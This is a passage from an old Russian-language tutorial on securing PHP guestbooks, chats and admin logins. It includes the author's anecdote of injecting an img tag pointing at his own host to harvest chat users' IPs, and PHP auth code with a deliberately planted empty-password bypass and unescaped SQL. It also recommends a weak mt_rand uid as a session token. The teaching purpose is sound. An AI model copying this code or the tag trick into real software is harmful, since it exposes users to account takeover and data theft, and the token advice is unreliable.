тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей,
присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com.
(там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на
картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING,
REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.
Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это
красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная,
что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности
javascript'a я перечислять не буду :-)
Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее
сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для
модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому
(или не очень) кругу лиц. Посмотрим, что можно сделать здесь.
Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком
сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта,
удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.
Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории,
защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а
web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой
статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить
авторизацию средствами самого приложения.
Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого
кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и
пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу
текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной
авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях
и мануалах:
if (!isset($PHP_AUTH_USER)) {
Header("WWW-Authenticate: Basic realm="My Realm"");
Header("HTTP/1.0 401 Unauthorized");
exit;
}
Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две
установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать
имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:
*** Внимание!!!***
В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности.
Попытайтесь найти ее самостоятельно.
$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";
$result = mysql($dbname, $sql_statement);
$rpassword = mysql_result($result,0,'password');
$sql_statement = "select password('$PHP_AUTH_PW')";
$result = mysql($dbname, $sql_statement);
$password = mysql_result($result,0);
if ($password != $rpassword) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных
программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не
принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.
Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и
пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое
значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же,
впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает
пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает
доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на
мой взгляд, более правильный путь - вставкой следующего фрагмента кода:
if (mysql_numrows($result) != 1) {
Header("HTTP/1.0 401 Auth Required");
Header("WWW-authenticate: basic realm="My Realm"");
exit;
}
То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.
Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если
пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже
является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст
пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу
"hacker? he-he...".
К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится
выполнять ее только средствами приложения. В общем случае модель такой авторизации будет
следующей:
Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет
правильность имени и пароля.
Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт
авторизованности пользователя.
Такая модель называется сессионной - после прохождения авторизации открывается так называемая
"сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия
закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов:
пользователь может получить доступ к чату только после того, как пройдет процедуру входа.
Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения
каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.
Рассмотрим несколько вариантов, как это можно сделать:
- После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1.
(Не надо смеяться - я сам такое видел).
Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме
администрирования. Кроме того - нет возможности отличить одного пользователя от другого.
- Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам.
Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с
формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя
пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск
и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка
HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает.
- Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации,
где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP
пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют,
есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет -
"hacker? he-he..." :-)
Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае,
если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая
распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально.
- Единственным, известным мне простым и достаточно надежным способом верификации личности
пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.
После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное
случайное число:
mt_srand((double)microtime()*1000000);
$uid=mt_rand(1,1000000);
Это число он:
а) заносит в локальный список авторизовавшихся пользователей;
б) Выдает пользователю.
Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список
сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами
ввода будет присутствовать, наряду с другими формами, тег вида:
<input type=hidden name=uid value=1234567890>
Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения.
Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою
функцию, либо... "hacker? he- he...".
Единственное, что необходимо сделать при такой организации - периодически чистить локальный
список uid'ов и/ или сделать для пользователя кнопку "выход", при нажатии на которую локальный
uid пользователя сотрется из базы на сервере - сессия закрыта.
Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся
число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль
пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать
сессии. Та же самая модель может быть использована везде, где требуется идентификация
пользователя - в чатах, веб-конференциях, электронных магазинах.
В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из
описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса
потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо
проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения
IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее
известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за
прокси-сервером. Естественно - если прокси это позволяет.
При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше
всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если
нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при
помощи .htaccess (Deny from all).
Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными
здесь методами обеспечения безопасности при разработке приложений для Web.
|